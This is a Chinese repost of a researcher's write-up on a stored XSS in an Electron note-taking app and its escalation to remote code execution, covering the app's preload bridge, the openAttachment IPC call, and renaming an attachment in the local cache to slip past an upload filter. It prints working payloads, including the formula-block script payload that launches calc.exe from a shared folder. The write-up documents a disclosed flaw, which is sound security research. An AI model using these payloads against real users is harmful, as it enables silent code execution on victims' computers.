Electron Math:800 万用户注意到应用程序存储型 XSS -> RCE

admin 2024年5月27日15:27:22评论2 views字数 11364阅读37分52秒阅读模式

Electron Math:800 万用户注意到应用程序存储型 XSS -> RCE

这个非常有趣的发现实际上始于 YouTube 视频 ->微软如何意外地从 2.7 亿用户那里窃取后门。它看起来像是一个与点击诱饵黑客相关的视频(激起人们对微软的愤怒并试图教孩子们如何黑客攻击)。尽管如此,所涉及的技术非常生动和鼓舞人心,这里解释的部分帮助我解释了工作原理electron和升级到 RCE 的技术!我建议您观看它,因为它可以教您electron渲染和主要过程的基础知识,以及electron-rce通常的样子。

想象一下这种情况:现在是凌晨 2 点,你正盯着明天安排的期末数学考试。你还没有复习任何东西,而你的 GPA 很大程度上取决于这次考试。当你考虑失败的后果时,突然,一个同学给你发了一个文件夹。它们包含考试答案,在网络上查看时看起来完全正常。你松了一口气,决定在客户端中检查它们以获得更好的访问权限。但在保存文件的几秒钟内,你被黑客入侵了。你的社交媒体帐户被劫持,最糟糕的是,你未保存的 git 提交被重置。现在,猜猜谁这周剩下的时间都睡不着觉了?

在这篇博客中,我将向您介绍如何在流行的 Note App 中发现和利用存储型 XSS -> RCE漏洞,该应用的平均每日用户数约为450,000。从审计源到动态调试 Electron,我将介绍每个步骤。让我们深入了解一下

存储型 XSS:数学有多危险

所有这些复杂的后续利用都始于一个简单的功能:公式显示

在应用程序中集成的Markdown笔记功能中,您可以根据Formula blocks需要添加显示公式,例如,如果我想漂亮地打印公式:$$ E = mc^2 $$ 我实际输入的是代码$$ E = mc^2 $$$$表示注入的数学方程式或我们称之为math delimiters。Equation renderers在我们定位XSS漏洞时,始终被视为兴趣点,因为它Equation renderers以不同的方式呈现内容。正如我之前对这个应用程序的探索中所说的那样。我还能够在利用中找到XSS Formula blocks(unicode我们Equation renderers过去利用的有效载荷是unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}),这个有效载荷会将一个<img>标签注入到我们加载的恶意src:1的内容中,它将触发onerror类中的JavaScript有效载荷。我将这个漏洞作为XSS提交。然而,尽管它可以泄露任何用户的cookie和查看此文档的内容,但我只收到了500元人民币(约70美元)的赏金。

六个月后,我开始对 electron 应用和 XSS 产生了兴趣,因此我又重新开始了对这个应用的漏洞之旅!在花了几个小时利用第三方服务等其他组件后,我决定把注意力放回到Formula blocksMarkdown Notes 的功能上(因为他们一直在收到 CVE 报告)。又花了几个小时利用。最后,期待已久的警告框终于出现了,这要归功于:

<style>*{font-size:23px;}</style>{}

RCE:电子是有质量的

Electron 是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架。通过将Chromium和Node.js嵌入到其二进制文件中,Electron 允许您维护一个 JavaScript 代码库并创建可在 Windows、macOS 和 Linux 上运行的跨平台应用程序 - 无需任何本机开发经验。

说完了数学,我们来谈谈物理吧。Electron是如何工作的?开个玩笑,我们现在提到的 Electron 是一个使用 JavaScript 构建桌面应用程序的框架,许多著名的应用程序(如 Discord、Tidal、1Password 等)都使用 Electron 作为开发框架。

Electron 为何如此吸引人?除了性价比高之外,它还使用了HTML, CSS, JS,而且它的标志看起来很酷。Electrons 继承了 Chromium 的多进程架构:多进程模型

Electron Math:800 万用户注意到应用程序存储型 XSS -> RCE

所应用的多进程模型electron由main process和组成render process。

  • 一方面,main process充当应用程序的入口点,electron使它们能够调用和需要任意node.jsAPI 和BrowserWindow方法来启动render process,

  • 另一方面,render process类似于 Google Chrome 中的标签页,它们与其他标签页是分开的,但render process它们不能直接调用node.jsAPI,这些 API 包含在其 Web 内容开始加载之前在渲染器进程中执行的代码,从而允许通过或Preload scriptsipcRenderercontextBridge

这种特殊的模型electron保证了实用性和安全性;当一个渲染崩溃时不会影响其他进程;它保证了不同进程的信息和API隔离。例如,使用Chrome等浏览器,你不会希望你的在线游戏标签窃取你银行网站标签上的信息,或者只是在你的浏览器上运行任意代码(那将是一个天堂)。

另一方面,这种隔离机制使我们更难将这种 XSS->RCE 变成 RCE,因为我们不能随心所欲地require('child_process').exec('calc');运行代码。尽管如此,没有什么是不可能的,请注意我们所说的Preload scripts,因为这些脚本在渲染器中先于其他脚本加载,所以它们可以无限制地访问 Node API :)))

那么我们的 Electron 里有什么?

如前所述,Electron 的设置使我们很难将其转变为 RCE,但是,最好检查我们的 XSS 易受攻击的浏览器处于哪种情况,以检查是否存在漏洞。

了解了 Electron 的工作原理后,让我们回到正题上。进入 Note App 的根目录,在目录中/resources,你会看到一个app.asar文件,它是正在运行的 Electron App 的打包:

创建应用程序分发版后,应用程序的源代码通常会捆绑到ASAR 存档中,这是一种为 Electron 应用程序设计的简单广泛的存档格式。通过捆绑应用程序,我们可以缓解 Windows 上长路径名的问题,加快速度require并隐藏源代码以免被粗略检查。

捆绑的应用程序在虚拟文件系统中运行,大多数 API 都可以正常工作,但在某些情况下,由于一些注意事项,您可能需要明确处理 ASAR 档案。

asar通过安装解压工具npm install -g asar,可以通过提取此包asar extract app.asar ./。源代码存储在disk/目录下,bridge.js collect.js context.js main.js noteToPdf.js scholar.js server.js让我们深入了解一下main.js。从行开始53085,似乎通过以下方式为我们的 Main Tabmain.js定义了一个:render processmakeWindow

            s.Logger.log("主窗口:startMain() 判断不存在主窗口"),              console.log("[startup][main-window-start][ydoc]", Date.now());            const n = !process.env.DISABLE_SCHOLAR && (await a(2188).E()),              u = process.mas || !1,              g = `${o.serverConfig.host}/i.html?${(0, x.stringify)({                openatlogin: this.getOpenAtLogin(),                host: process.argv.indexOf("--t") >= 0 ? "test" : void 0,                debug: "true" === process.env.debug || void 0,                appversion: "7.2.181",                mas: process.mas,                hideCheckUpdate: u,                scholar: n,                _: Date.now(),              })}`,              _ = await (async (e) => {                const n = await (0, R.getSettings)(),                  a = n.mainWindowSize || [],                  [o = 1200, s = 800] = a,                  u = n.userTheme,                  p = this.getWindowBg(u),                  g = this.makeWindow({                    title: "有道云笔记",                    width: o,                    height: s,                    minWidth: 650,                    minHeight: 680,                    webPreferences: {                      contextIsolation: !0,                      preload: (0, I.join)(                        i.app.getAppPath(),                        "dist/bridge.js"                      ),                    },                    resizable: !0,                    backgroundColor: p,                    maximizable: !0,                    fullscreenable: !0,                    vibrancy: "light",                    show: !1,                  });

值得一看的是这里,它将webPreferences作为参数解析到makeWindow方法中,该参数指定各种设置来控制加载的网页的功能和安全方面:

                    webPreferences: {                      contextIsolation: !0,                      preload: (0, I.join)(                        i.app.getAppPath(),                        "dist/bridge.js"                      ),                    },

1.contextIsolation: !0,:

  • contextIsolation是 Electron 中的一项安全功能,可确保主进程(应用程序的代码)中的代码与渲染器进程(Web 内容)中的代码隔离。

  • !0是一个 JavaScript 表达式,相当于true。这表示已启用上下文隔离。启用此功能是安全性的最佳实践,可防止来自 Web 内容的潜在攻击。

2.preload: (0, I.join)(i.app.getAppPath(), "dist/bridge.js"):

  • preload指定在渲染器进程中运行任何其他脚本之前加载的脚本。无论网页中是否启用了节点集成,此脚本都可以访问 Node.js API,从而允许 Web 内容和 Electron API 之间进行安全通信。

  • dist/bridge.js在这种情况下,它从当前导入i.app.getAppPath

这两个设置指定了此选项卡中采取的安全措施,由于我们之前已经实现了 XSS,因此我们已经获得了向该注释中注入任意有效负载的能力。尽管如此,contextIsolation设置为false,就像前面提到的那样,render process和main process是隔离的,因此我们不能直接直接请求Node.jsAPI;然而,回顾我们对 Electron 的介绍,一个叫做 的东西Preload Script引起了我们的注意:

但是,Preload scripts其中包含在 Web 内容开始加载之前在渲染器进程中执行的代码,从而允许通过ipcRenderer或contextBridge

尽管我们不能直接Node.js在独立的 中调用render process,但是,由于是Preload scripts在网页内容开始加载之前执行的,因此我们可以直接Node.js使用 中的公开 API 进行调用Preload scripts。在我们的例子中,此窗口会预加载:(0, I.join)(i.app.getAppPath(), "dist/bridge.js")

(() => {  "use strict";  var e = [      ,      (e) => {        e.exports = require("electron");      },      (e, n) => {        Object.defineProperty(n, "__esModule", { value: !0 }),          (n.EventType = void 0),          (function (e) {            // dozens of defines ...              (e.SetScreenCaptureShortcut = "setScreenCaptureShortcut"),              (e.OpenResourceFile = "openResourceFile"),              (e.OpenSystemPreferences = "openSystemPreferences"),              (e.ShowUpdateConfirm = "showUpdateConfirm"),              (e.SetMemoSettings = "setMemoSettings"),              (e.ReceiveMemoSettings = "receiveMemoSettings"),              (e.OpenSingleMemoWindow = "openSingleMemoWindow"),              (e.PinSingleWindow = "pinSingleWindow"),              (e.UploadTrackLog = "uploadTrackLog"),              (e.audioStateTransfer = "audioStateTransfer"),              (e.EnterVipInMain = "enterVipInMain"),              (e.OpenWebview = "openWebview"),              (e.OnceAskIsSyncing = "onceAskIsSyncing");          })(n.EventType || (n.EventType = {}));      },      (e, n) => {        Object.defineProperty(n, "__esModule", { value: !0 }),          (n.EVENTS = void 0),          (function (e) {             // dozens of defines ...              (e.toggleUpdateIcon = "toggleUpdateIcon"),              (e.getMemoSettings = "getMemoSettings"),              (e.showMemoToolbar = "showMemoToolbar"),              (e.windowFocus = "windowFocus"),              (e.windowBlur = "windowBlur"),              (e.syncAudioStateTransfer = "syncAudioStateTransfer"),              (e.showSyncFiles = "showSyncFiles"),              (e.disableAutoCheckUpdate = "disableAutoCheckUpdate"),              (e.syncFiles = "syncFiles"),              (e.syncFileStatus = "syncFileStatus"),              (e.onLoginSyncing = "onLoginSyncing");          })(n.EVENTS || (n.EVENTS = {}));      },    ],    n = {};  function __webpack_require__(t) {    var o = n[t];    if (void 0 !== o) return o.exports;    var i = (n[t] = { exports: {} });    return e[t](i, i.exports, __webpack_require__), i.exports;  }  (() => {    const e = __webpack_require__(1),      n = __webpack_require__(1),      t = __webpack_require__(2),      o = __webpack_require__(3);    process.env.STARTUP_LOGGEDIN &&      !process.env.STARTUP_TIME_TRACKED &&      ((process.env.STARTUP_TIME_TRACKED = "true"),      e.ipcRenderer.send(t.EventType.HubbleTrack, {        eventId: "startMainTime",        value: Date.now() - Number(process.env.START_TIME),      }));    const i = {      ready: (n) => {        Object.keys(o.EVENTS).forEach((t) => {          e.ipcRenderer.on(t, (e, ...o) => {            n(t, ...o);          });        });      },      hubbleAppKey: "MA-9FD4-F3C3C0C65845",    };    Object.values(t.EventType).forEach((n) => {      i[n] = (...o) => {        e.ipcRenderer.send(t.EventType.ConsoleLog, `Call native API: ${n}`),          e.ipcRenderer.send(n, ...o);      };    }),      n.contextBridge.exposeInMainWorld("[redacted]", i); // exposing   })();})();

该预加载脚本似乎将必要的本机 API公开render process给:

  • 它首先使用函数数组定义了几个模块,其中每个模块被设计用于执行与 IPC 或 Electron 功能相关的特定任务。

  • 然后,它使用EventType渲染进程可以发送给主进程的自定义事件或命令的枚举。这些操作包括最大化或最小化窗口、同步数据、管理文件操作等;

  • 该__webpack_require__函数是模块捆绑器设置 (Webpack) 的一部分,用于管理模块加载。它允许在应用程序内调用和管理依赖项。

  • 在最后的自调用函数中,ipcRenderer用于设置 IPC 事件的监听器和发送器。这在 Electron 应用中很常见,因为渲染器进程(网页)需要与主进程(Node.js)进行通信;

  • 最后,用于contextBridge安全地将后端功能暴露给前端渲染器进程。此对象充当桥梁[redacted],允许前端代码与后端 Electron API 交互,而无需将 Electron API 或 Node.js 环境的不必要部分暴露给渲染器。

将此代码分段Preloaded到我们的主要浏览器选项卡中;API 管理[redacted]对象直接向我们公开。我们可以通过使用Note APP 上的控制台Debugtron来确保这一点:F12

>> window.top.[redacted]<< {hubbleAppKey: "MA-9FD4-F3C3C0C65845", ready: ƒ, currentFile: ƒ, handleDeviceManagement: ƒ, triggerUpdate: ƒ, …}

对于在中定义的这些API方法Preload Script,它们也可以通过此[redacted]对象访问

>> window.top.[redacted].setMemoSettings<< ƒ () { [native code] }

根据这些暴露的API列表的名称来判断,我们可以假设每个方法的功能;例如,如果你调用[redacted].screenCapture(),程序将打开一个新screenCapture选项卡,但这对我们的XSS->RCE没有任何帮助,因为它除了惹恼受害者之外什么也做不了;我们实际上要寻找的是一个允许我们直接/间接地在受害者的机器上实现远程代码的API,以便我们可以通过我们可以利用的XSS漏洞[redacted]加载的暴露对象来调用它preload script,在手动检查函数列表后,3个方法立即引起了我的注意:

  • (e.OpenClientSoftWare = "openClientSoftWare"),

  • (e.OpenAttachment = "openAttachment"),

  • (e.OpenResourceFile = "openResourceFile"),

尽管如此,我没有找到OpenClientSoftWare在哪里实现的,main.js所以它的预期参数,它给我们留下了(e.OpenAttachment = "openAttachment"),&(e.OpenResourceFile = "openResourceFile"),此外,我们需要期望在不同的客户端中保持一致性,(e.OpenResourceFile = "openResourceFile"),因为ResourceFile路径在不同的机器上有所不同,这让我们成为最后的赢家e.OpenAttachment = "openAttachment"::

openAttachment是应用程序中专门集成笔记文件中实现的功能,用户可以将文件嵌入到笔记中,当用户使用该文件上的小图标 :eyes: 打开该文件时,该文件将自动打开,此功能实际上是使用以下方式实现的:i.shell.openPath(a)

              i.ipcMain.on("gotAttachmentPath", (e, n) => {                const { path: a, status: o, readonly: s } = n;                p.Logger.log("[attachment] ipcMain.on gotAttachmentPath");                try {                  const e = this.windows.filter(                    (e) => !e.isDestroyed() && e.isFocused()                  );                  if (a)                    s ||                      e.forEach((e) => {                        e.webContents.send(                          E.EVENTS.[redacted]Toast,                          "修改此文件并保存可同步至[redacted]",                          "success"                        );                      }),                      i.shell.openPath(a);

此方法接受dict作为参数,这dict需要包括:

  • resourceId:resourceId附件的,这resourceId似乎一直都是恒定的,因为它似乎来自该附件的上传 URL:https://note.[redacted].com/yws/public/resource/<NOTE>/xmlnote/<ATTACHMENTID>

  • name:附件的文件名

  • size:附件的大小(其实并不重要)

  • readonly:文件是否为只读

现在,由于resourceId文件加载器的任何地方都保持不变,我的第一个想法是:

创建文件夹 -> 将可执行文件作为普通笔记的附件上传 -> 使用 XSS payload 创建 Markdown 笔记 -> 调用特权[redacted]['openAttachment']打开此文件 -> RCE

但是,我们注意到服务器对附件的后缀进行了限制,我们只允许上传诸如 这样的文件.jpg,.m4a该怎么办呢?

任何事情都有.exe可能.exe

在漫无目的地摸索和摆弄应用程序的过程中,我发现每条笔记都先作为缓存文件保存在 下AppData/Roaming/[redacted]-desktop,每次修改都先本地保存在这些缓存文件中,然后再同步到网页上。这让我们有机会在前端受限的情况下摆弄笔记的内容。

这些缓存文件以表格形式保存json,每个块都表示为某种 ID,例如p5PQ-1621846617594。例如,这是文件,内容是“嗨,我是 patrick,请访问0reg.dev plz”:

{    "2": "1",    "3": "Ju9C-1621846617594",    "4": {        "version": 1,        "incompatibleVersion": 0,        "fv": "0"    },    "5": [        {            "3": "3060-1621846615933",            "5": [                {                    "2": "2",                    "3": "p5PQ-1621846617594",                    "7": [                        {                            "8": "hi i am patrick visit 0reg.dev plz"                        }                    ]                }            ]        }    ],    "title": "",    "__compress__": true}

这个缓存文件包含此笔记的附加version信息title,但这不是我们的主要关注点。当我们上传附件时,会创建此块:

            "3": "W6EK-1713844084965",            "4": {                "version": 1,                "fn": "0reg.dev.txt",                "fl": "",                "re": "https://note.[redacted].com/yws/res/d/WEBRESOURCE085d65b128282a0304d11d724d860a9d",                "sr": "https://note.[redacted].com/yws/res/5/WEBRESOURCE6a91c0ea39c64fb092cb7ccae01f3295"            },            "6": "a"

W6EK-1713844084965表示此块(即上传的附件)的属性,而fn表示文件名,re并且sr可能表示resourceURL此附件的 和SourceURL源注释的 。此外,这种保存后上传的方法使我们能够修改filenames和同步,允许我们在应用程序上修改一件事,而另一件事是同步。回到我们的利用案例中,我们可以通过上传一个具有受信任子缀的文件来绕过子缀限制,但将缓存修改为其他,例如,我们可以calc.m4a一方面创建一个,而将实际修改fn为“calc.exe ; then wheni.shell .openPath(a) fromOpenAttachment is called, the.exesubfix will be interpreted as可执行文件”并执行。

开发!

最后,通过我们对数学和物理的探索,涉及到LaTex XSS injection with and {},使用Preload Script绕过 Electron 的 NodeIntegration Protection 以及最后使用local cache绕过附件子前缀清理。

首先,我们需要executable在注释中嵌入一个绕过子前缀的注释,在本例中我们将其用作calc.exe实例。在实际情况下,您可以使用.cmd或.bat来创建完全安静的利用或直接执行代码(.exe如果您编程得当,则不会启动任何窗口)。之后,我们将markdown在同一个文件夹中创建一个文件,其中包含我们最终的有效载荷:

$$<script>window.top.[redacted]['openAttachment']({resourceId:"WEBRESOURCE4548e5c61ab6fabd6dd3e96196b5b146",name:"calc.exe",size:987600,readonly: false})</script>{}$$

在这个有效载荷之后发生的事情是

  1. 我们的payload被错误地渲染了Equation renderers,<script>标签会被视为HTML中的一个真实标签,因此标签中的脚本会在公式渲染后立即执行。

  2. 我们通过访问公开Preload ScriptAPI [redacted](通过公开n.contextBridge.exposeInMainWorld("[redacted]", i)),window.top它将不会受到保护NodeIntegration,Multi-Process Model因为它已经在之前运行了render process
  3. [redacted]的方法openAttachment将打开嵌入在 Notes 中的附件,dictonary并将解析为一个参数,resourceId可以通过检查local cache或获取AttachmentURL,name这里使用了名称executable
  4. 秘密嵌入Attachment->calc.exe无需任何进一步的用户交互即可启动;任意代码在受害者的电脑上执行

然后,我们将使用共享功能将文件夹共享给受害者,文件夹中的每个文件在他们打开客户端之前看起来都是绝对无害的,因为这些文件只在 Electron 客户端中预加载和找到。最后,当用户登录 Electron 客户端时,几秒钟内,注入的 JavaScript 就会被调用;然后会弹出一个窗口,表示 RCE 成功。window.top.[redacted]calc.exe

 Electron Math: 8 Million User Note App Stored XSS -> RCE bypassing nodeintegration via preload.js in electron https://0reg.dev/blog/electron-math

原文始发于微信公众号(Ots安全):Electron Math:800 万用户注意到应用程序存储型 XSS -> RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月27日15:27:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Electron Math:800 万用户注意到应用程序存储型 XSS -> RCEhttp://cn-sec.com/archives/2783189.html

发表评论

匿名网友 填写信息